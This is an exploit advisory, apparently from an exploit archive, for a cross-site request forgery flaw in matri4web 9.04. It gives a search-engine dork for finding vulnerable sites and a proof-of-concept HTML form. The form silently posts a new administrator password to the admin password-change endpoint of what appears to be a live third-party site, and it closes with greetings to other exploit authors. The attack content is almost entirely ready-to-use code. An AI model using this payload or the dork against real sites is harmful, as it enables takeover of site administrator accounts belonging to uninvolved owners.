======================================================================================================================================
| # Title : matri4web v 9.04 CSRF Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 61.0.1 (32-bit) |
| # Vendor : https://www.matri4web.com/ |
| # Dork : "simplesearch_results.php?p=" |
======================================================================================================================================
poc :
[+] Dorking İn Google Or Other Search Enggine .
[+] Save code as poc.html
[+] <td width="80%" valign="top"><table width="98%" cellspacing="0" cellpadding="0" border="0" align="center">
<tbody><tr>
<td> </td>
<td class="headertext"> </td>
</tr>
<tr>
<td width="3%"><span class="HeadText1"><img src="images/icon29.gif" width="19" height="16"></span></td>
<td class="headertext" width="97%">SET ADMIN PASSWORD </td>
</tr>
</tbody></table>
<br>
<table width="98%" cellspacing="0" cellpadding="0" border="0" align="center">
<tbody><tr>
<td><div class="smalltextgrey" align="center">
<div class="smalltextred" align="left"> Below is the list of Administrator Password. You can change/edit admin's password </div>
</div></td>
</tr>
</tbody></table>
<br>
<form name="signupForm" id="signupForm" method="post" action="http://www.payaam.com/moon4u/adminpass_submit.php" onsubmit="return Check_form();">
<table class="blackbox" width="50%" cellspacing="3" cellpadding="3" border="0" align="center">
<tbody><tr>
<td width="40%">New Password : </td>
<td width="60%"><input name="txtp" id="txtp" type="password"></td>
</tr>
<tr>
<td>Confirm Password : </td>
<td><input name="txtcp" id="txtcp" type="password"></td>
</tr>
<tr>
<td> </td>
<td><input name="Submit" value="Submit" type="submit"></td>
</tr>
</tbody></table>
</form>
<p> </p></td>
Greetings to :=========================================================================================================================
|
jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * djroot.dz * LiquidWorm* Hussin-X *D4NB4R * shadow_00715 * yasMouh |
|
=======================================================================================================================================
